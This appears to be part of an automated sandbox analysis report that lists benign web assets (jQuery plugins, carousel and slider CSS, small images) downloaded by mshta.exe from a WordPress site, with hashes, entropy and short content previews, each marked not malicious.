Category:	downloaded
Size (bytes):	5941
Entropy (8bit):	5.075074456166432
Encrypted:	false
SSDEEP:	48:+XXpDjoVAxgD1/g1JlYZYGWUQlfAci14nNSvOFfYuzjwWPQvg8DhHoqK4zORAxFm:KpoVhxSK6UQlf21VOCo8FI74aRO9nblc
MD5:	C553A58B7B87830D624BC55C478732AD
SHA1:	E53CF7C7030F1CAACFEF4C00E7092340B61ABFC2
SHA-256:	013585D07F16D114D3402E3B540854C914254D7F17FD430E216E8DF7334C9C92
SHA-512:	8A68FBB8ECEC471BFDA84B524C56085BD8D928A97B0F538E531E2E057A15DA74FEDE3A2F32EEDE437C278778A302B25F4AE3B388E135878C0D2283691B7E3C48
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Preview:	/. jQuery FlexSlider v2.2.0. * http://www.woothemes.com/flexslider/. . Copyright 2012 WooThemes. * Free to use under the GPLv2 license.. * http://www.gnu.org/licenses/gpl-2.0.html. . Contributing author: Tyler Smith (@mbmufffin). /.../ Browser Resets.********************************/..flex-container a:active,..flexslider a:active,..flex-container a:focus,..flexslider a:focus {outline: none;}..slides,..flex-control-nav,..flex-direction-nav {margin: 0; padding: 0; list-style: none;}..flexslider-rtl {direction:rtl; text-align:right;}./ Icon Fonts.********************************/./ Font-face Icons */.@font-face {..font-family: 'flexslider-icon';..src:url('fonts/flexslider-icon.eot');..src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),...url('fonts/flexslider-icon.woff') format('woff'),...url('fonts/flexslider-icon.ttf') format('truetype'),...url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');..font-weight: normal;..font-style: normal;.}../

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jquery-migrate-1.2.1.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	7199
Entropy (8bit):	5.223786028238701
Encrypted:	false
SSDEEP:	96:tBySz91Gwyk35YrfBewIt9jKLKDs2SFNK7wIDBRANyCfVJ45NI:zySzvGw/35YbMx9jKLKD3UIDBR8VVUq
MD5:	EB05D8D73B5B13D8D84308A4751ECE96
SHA1:	743052320809514FB788FE1D3DF37FC87CE90452
SHA-256:	1E67D8DBCCA1F6FD94E077C85C2FB40FA1C2756C99238DAA8DA882144260A68D
SHA-512:	7B68A43A22A41404A2FF58E0DA6A237492CAD0FC3E56D216980802B4D5FB483895262A7E049340D6670002BDF899BA88C319239E60D0AAE1AC31D98556B0AD6E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Preview:	/! jQuery Migrate v1.2.1 \| (c) 2005, 2013 jQuery Foundation, Inc. and other contributors \| jquery.org/license /.jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]\|\|(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get\|\|function(){return null},c=e.attrHoo

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jquery.simplr.smoothscroll.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	946
Entropy (8bit):	5.1855423510973475
Encrypted:	false
SSDEEP:	24:2GPs6G3ILAMbiEm8QKov1mxulWM8cQ2x17JxrIv:24EMeLQxuj8cQUjVS
MD5:	72944D2F940D2AB8DFDCAA537A9ECDEE
SHA1:	D94FA468B83F9B76EB8F97CEFC6312FBD173A848
SHA-256:	547887F6237649D22B102EDD455869D14A02D3B393CFF5A5886624E4D08DCB3A
SHA-512:	58D77C35684959DBF8B70452CA0D74AE94233055959A3663C44CEC2511045E9BE4665C7F02A0E1DB1B8F2209BD89089FE438EB51F36257F832EC707BC4419C4E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0
Preview:	/* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */..jQuery(document).ready(function($) {. if(!device.mobile() && !device.tablet()){. $.srSmoothscroll({. step:150,. speed:800. });. }.});..;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' \|\| platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t\|\|{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\logo-slider-wp-public[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3006
Entropy (8bit):	4.209501226216895
Encrypted:	false
SSDEEP:	48:N10K1DK3whocmVMBCu2m+JI/QNAIslqw+Pw6z:NSqDK3sN+JWkF/H
MD5:	7B766A62E26ADB736A822B315A891025
SHA1:	A2580B9177A2CA0ACB345FE440414DE7DF2A5E26
SHA-256:	65CA4BF164BFD1056D4AF9E83F40FB8B4D51840485D9A09021468BB3F5AAAC76
SHA-512:	8FE2938731EBB108F8797DA1D46CEB7E353131D770633FB9AF4E36BE48D19B912742028E86B0D7AF5587A19A328AD0E6C2945B550E2C347482375A1C10CE88A6
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0
Preview:	(function() {.. 'use strict';.... /*.. All of the code for your public-facing JavaScript source.. * should reside in this file... .. Note: It has been assumed you will write jQuery code here, so the.. * $ function reference has been prepared for usage within the scope.. * of this function... .. This enables you to define handlers, for when the DOM is ready:.. .. $(function() {... ... });.. .. When the window is loaded:.. .. $( window ).load(function() {... ... });.. .. ...and/or other possibilities... .. Ideally, it is not considered best practise to attach more than a.. * single DOM-ready or window-load handler for a particular page... * Although scripts in the WordPress core, Plugins and Themes may be.. * practising this, we should strive to set a better example in our own work... */...... jQuery(document).ready(function($) {.... $('.lgx-logo-carousel'

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\owl.carousel[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5924
Entropy (8bit):	5.072069034552564
Encrypted:	false
SSDEEP:	48:A/ZGnrZNGkS5fS0sGukCMiVG9/WDLqI+TlZ7kKXQmMfdScuFeUK7rqW9dvgOGH6o:oZ0ZQolYC1+kp+5Z7kKXQmGoeUK7+P
MD5:	2737F7BF6C359378B907AE244C7C41C3
SHA1:	14C848EA1F424CD82CBF1F732BBEB0D50F06169F
SHA-256:	2EDF2AA5AAA3ABEDE8968ECCFE9871849205188186D1AE62F14AB3FF4BB8EF6C
SHA-512:	994CBEE171BF10EA517579819D6F82C446F10ADFF9DB72EB78771560DC8DB855799D1B9B4E6360EA4E2010965569F46BB371B1E75398FDF5510D2BCC8FC1BC60
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24
Preview:	/* . * .Core Owl Carousel CSS File. .v1.24. /../* clearfix /..owl-carousel .owl-wrapper:after {..content: ".";..display: block;..clear: both;..visibility: hidden;..line-height: 0;..height: 0;.}./ display none until init */..owl-carousel{..display: none;..position: relative;..width: 100%;..-ms-touch-action: pan-y;.}..owl-carousel .owl-wrapper{..display: none;..position: relative;..-webkit-transform: translate3d(0px, 0px, 0px);.}..owl-carousel .owl-wrapper-outer{..overflow: hidden;..position: relative;..width: 100%;.}..owl-carousel .owl-wrapper-outer.autoHeight{..-webkit-transition: height 500ms ease-in-out;..-moz-transition: height 500ms ease-in-out;..-ms-transition: height 500ms ease-in-out;..-o-transition: height 500ms ease-in-out;..transition: height 500ms ease-in-out;.}....owl-carousel .owl-item{..float: left;.}..owl-controls .owl-page,..owl-controls .owl-buttons div{..cursor: pointer;.}..owl-controls {..-webkit-user-select: none;..-khtml-user-select: none;..-moz-user-select: no

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\owl.carousel[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	downloaded
Size (bytes):	89992
Entropy (8bit):	5.084392122174397
Encrypted:	false
SSDEEP:	1536:owLoreUC7AuLMjvNlP8GNMBJ6IcIhKJQIOybQOoiYM9OJ0QQKOv:oUMNlPBqJTuOGQOotEhKOv
MD5:	CCDF893E7D8B26933AF0C336BCC3943E
SHA1:	AC575BA3377F95EF22BAD865EC35B0B3DCB0DFE0
SHA-256:	DB9D6CF3C1C4B047C62F646E7D9991C06A212931C362BF53F9A2406B30F09466
SHA-512:	818DB99C2EB775D1342DC2CF871509185C5AD86A08C80E452F29B8509A870C43078E9F11113E999FF487A35B25B6DDD6B95B6A7F2C4408FDFCFDD69473F59510
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. /./. Owl carousel. * @version 2.3.4. * @author Bartosz Wojciechowski. * @author David Deutsch. * @license The MIT License (MIT). * @todo Lazy Load Icon. * @todo prevent animationend bubling. * @todo itemsScaleUp. * @todo Test Zepto. * @todo stagePadding calculate wrong active classes. /.;(function($, window, document, undefined) {.../.. Creates a carousel... * @class The Owl Carousel... * @public.. * @param {HTMLElement\|jQuery} element - The element to create the carousel for... * @param {Object} [options] - The options.. /..function Owl(element, options) {..../... Current settings for the carousel.... * @public... /...this.settings = null;..../... Current options set by the caller including defaults.... * @public... /...this.options = $.extend({}, Owl.Defaults, options);..../... Plugin element.... *

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\owl.theme[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1664
Entropy (8bit):	5.223754054665017
Encrypted:	false
SSDEEP:	24:8rpEA98FvWxsEFgbZl4ulFZlnG1GoRVWX1GaDtGqvWf+KHK2ld1GKZXugZM5+iTk:8PG0+EFgPeAGfBw5JX0kg9
MD5:	FE31A99F51A65EC2A31AD4B63702C93D
SHA1:	1BA10A799FBD399D03E9AD2C71431C89ABBC4F32
SHA-256:	8F8439F41DD768871BDE30FCEB034A6DE5A50945A564658A60A06B23CB5D039A
SHA-512:	0346796A91A74B470D6C44536A685D8F8E7C154163A60CF001EC15CDD80A71B43ED270112575E584974F8274FDB4200E2A3EBF92DA8A8F9ACC1438BD3495446F
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Preview:	/. .Owl Carousel Owl Demo Theme ..v1.24./...owl-theme .owl-controls{..margin-top: 10px;..text-align: center;.}../* Styling Next and Prev buttons /...owl-theme .owl-controls .owl-buttons div{..color: #FFF;..display: inline-block;..zoom: 1;..display: inline;/IE7 life-saver /..margin: 5px;..padding: 3px 10px;..font-size: 12px;..-webkit-border-radius: 30px;..-moz-border-radius: 30px;..border-radius: 30px;..background: #869791;..filter: Alpha(Opacity=50);/IE7 fix/..opacity: 0.5;.}./* Clickable class fix problem with hover on touch devices /./ Use it for non-touch hover action /..owl-theme .owl-controls.clickable .owl-buttons div:hover{..filter: Alpha(Opacity=100);/IE7 fix/..opacity: 1;..text-decoration: none;.}../ Styling Pagination/...owl-theme .owl-controls .owl-page{..display: inline-block;..zoom: 1;..display: inline;/IE7 life-saver /.}..owl-theme .owl-controls .owl-page span{..display: block;..width: 12px;..height: 12px;..margin: 5px 7px;..filter: Alpha(Opacity=50);/

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\parallax[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	403
Entropy (8bit):	4.793570624792053
Encrypted:	false
SSDEEP:	6:Mwq7sFnOst7+pArYTKfZ0ArB3Ozgr9sjrez5yzNLAWzlYTrw5SN3FLmiYR0vY:MDZs5ybn3grwOQZRzlymiYR0A
MD5:	D836CAC74A1D9528BE73EE745D64B8CA
SHA1:	D8269C3090161BAA21C97DF370E32C68F512C1A8
SHA-256:	E3BAB86A4895EB161114F42EC7EBD54534D90ED21691B986AB7C7C6C5DD1D57C
SHA-512:	966C80EC83F820D8EDA03CD01ABBBEBA8C79AE5098777E533F7A38134379CF921E25B3C17837502D34CD69B002009F955740FF30D7ED8DB76776B421BE48E501
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Preview:	body .main-holder {..overflow: hidden;..position: static;.}..parallax-box {..position: relative;.}..parallax-content {..position: relative;..z-index: 2;.}..parallax-bg {..position: absolute;..overflow:hidden;..top: 0;..left: 0;..width: 100%;..height:100%;.}..parallax-bg-inner {..position:relative;..background-repeat: no-repeat;..background-size: cover;..background-position: center;..max-width:none;.}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sbi-styles.min[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16845
Entropy (8bit):	4.927428585989144
Encrypted:	false
SSDEEP:	192:7MFuCes2ba6PZqwJPWeitF0faGG27acPpqiJXWYi1F+f8imVjFuXQT3XerQCTQW+:qFJXerQCFPKT/ob0JMSP
MD5:	02BACBAD1E26F0B3D1772D4CF5A047DC
SHA1:	89292741D360F7EB3319437CD32A80EA7B388941
SHA-256:	DF15236D4098113E3479FC540A9BD1046CA6029F5508098E9C4245A0E12FAB05
SHA-512:	4F2F5BD7AA47FAD34B3337ADA2F0C5411702A7046E6A65FDA97BB4E13EFFC05C30261C7EF27BECB4F5F0AC4E98F234B6EC81C900AAD7C12FD9D6FED844BB8A6D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Preview:	#sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:a

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\style[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	66002
Entropy (8bit):	5.19992445499213
Encrypted:	false
SSDEEP:	768:RnQmALZc3HQApqPQ5j2m7Y414TtS6c9eu4SqSIGyU8O/sXi:+mN3kQ5noSWqyU8O/sXi
MD5:	47F3B539EC47105303FE88C5B4DB8BB8
SHA1:	7452E7208C3718CF250E126015876A0D09576818
SHA-256:	B6DF3EA0DB277CDC16BD73D0D3FC2422976E289F3C6E181E5EDF46AADA3B21C1
SHA-512:	70311C6FA62A73C78FAF2974E39B39C35C7413BE826A050D22E06E8C1FB695672063EE84D883F8D737F8578DC86CE2B64BD01B2E97D45DA84AA9A233ECCF3EA2
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Preview:	body { position:relative; }..ie8 body { min-width:980px; }.@media (max-width: 767px) {..body.cherry-fixed-layout {...padding-left:0 !important;...padding-right:0 !important;..}.}.@media (max-width: 767px) {..body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {...padding-left:20px;...padding-right:20px;..}.}.body[class*="span"] {..position:static;..float:none;..min-height:inherit;..margin-left:inherit;.}.a { outline:none; }.a:focus { outline:none; }..main-holder {..position:relative;..z-index:1;.}..cherry-fixed-layout .main-holder {..margin:0 auto;..max-width:980px;..width:auto;..background:#fafafa;.}.@media (min-width: 1200px) {...cherry-fixed-layout .main-holder { max-width:1210px; }.}.@media (min-width: 768px) and (max-width: 979px) {...cherry-fixed-layout .main-holder { max-width:764px; }.}..header {..position:relative;..z-index:99;..padding:30px 0;..border-bottom:1px solid #DDD;..background-color:#eee;.}..logo {..position:re

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\swfobject[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	10231
Entropy (8bit):	5.498827185914172
Encrypted:	false
SSDEEP:	192:dEBsWGAZvwGxP1hNWwI9V0YOOsFbkRHeZtyIVyX8c727LMoOyXoy7NgvZ4xsnyQ/:dAsWGAZvwGxP1hNWwI9V0YO1NkRHezyV
MD5:	9FFDBA2CFF497D701684657E329871F5
SHA1:	693465E9D9376FD4D2FCD45FFC24F735E1159312
SHA-256:	5FC71212D5F80194F946CC9239D030AAE8B51879EC22BD6F9A793C49E543D1C0
SHA-512:	5DA070D4040661BD167EF22C6F81C7DC6A9ED79F9CC6C662750B9EB3B1F2048E8D782536996EA7C54E961CD514313314EBFA724409CD2F0440D884288C9ECFFA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Preview:	/.SWFObject v2.2 <http://code.google.com/p/swfobject/> ..is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> ./.var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.webkit\/(\d+(\.\d+)?).$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=par

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\up-arrow[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 31 x 19, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1370
Entropy (8bit):	6.548363017537382
Encrypted:	false
SSDEEP:	24:ka1he91WwylZ82lYSqMHiwe76ceVc7cxT3ouyJ3V8BGy0QcJLJgSApYg1:zqQinNuiF61q7uIJ30D07JVgtpYi
MD5:	DF0D428C42D964F07B5C2875B85AB1EC
SHA1:	42ACD8E7E0919A99D42F09A62CD0B5FC0CE59B43
SHA-256:	E50B8D2007404AA7FC5484E29160C652C61433EC2732C37B9FEAF0ECC60E45A0
SHA-512:	A973C4169AD4C9C74F392821E64C5FFB17A7A44FE0517B836409CB8C79EB9D296F6E9B6C420C66227D6E11C7211E327D370A4E9447E47D448B4947551AB6610B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Preview:	.PNG........IHDR.............hl.B....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf:RDF> </x:x

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\warning[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\warning[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	downloaded
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
IE Cache URL:	res://ieframe.dll/warning.gif
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\animate-logo[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	81132
Entropy (8bit):	4.724082147516296
Encrypted:	false
SSDEEP:	384:Cy1U1YB94h43181f4E4v2e2oPNPs0v424zVoVI4m48:71U1Q4h43181f4E4m0v424zVoVI4m48
MD5:	B7A9605E1633ACF8180CD3F6C604876D
SHA1:	3FF2D5FE95BD41130BFFDE2211B3CCD43716038A
SHA-256:	1CE4F92F822BDFBCCEAA71C2FCFE760F5228E445DE0C20AEABBB3D93DDDA2644
SHA-512:	66E085703BA9E14C49185FE35329469DE6BF3E4F6A2D3A3BFCDB52E79FAEC9E32657EF073A1F888AFB1A9309C38DC1F9B09F8FE95CF12A34C88782D683CDD52A
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20
Preview:	@charset "UTF-8";..../!..Animate.css - http://daneden.me/animate..Version - 3.4.0..Licensed under the MIT license - http://opensource.org/licenses/MIT....Copyright (c) 2015 Daniel Eden../.....animated {.. -webkit-animation-duration: 1s;.. animation-duration: 1s;.. -webkit-animation-fill-mode: both;.. animation-fill-mode: both;..}.....animated.infinite {.. -webkit-animation-iteration-count: infinite;.. animation-iteration-count: infinite;..}.....animated.hinge {.. -webkit-animation-duration: 2s;.. animation-duration: 2s;..}.....animated.bounceIn,...animated.bounceOut {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}.....animated.flipOutX,...animated.flipOutY {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}....@-webkit-keyframes bounce {.. from, 20%, 53%, 80%, to {.. -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);.. animation-timing-function: cubic-bezier(0.215, 0.61

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\camera[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	26264
Entropy (8bit):	5.17784391797181
Encrypted:	false
SSDEEP:	192:D4Js/c+wkDZnVwkExwkBxN7ZDFBxJbtLwb/+luajba3RI4zQDaRzBBpCJyJUt:OeZnMRUCJyJUt
MD5:	4801E1D3D131C3628342CAACC406479D
SHA1:	3078A5FC945049A7B9E90829123ACAE900C74324
SHA-256:	3DF13F8DC45F6168A5EFF9BB8F32FA6807BA3EFE0DB1F76CE808BB7B0F48CA01
SHA-512:	9863D94FECA024EE25B8D1F93F20D0E2E86A9E884C6E3325149DE148F12F54DF82DF2FA0995FBC3FC3C66B4AB15382251703CEE2C7A623CCB86B19601B9E6B1D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
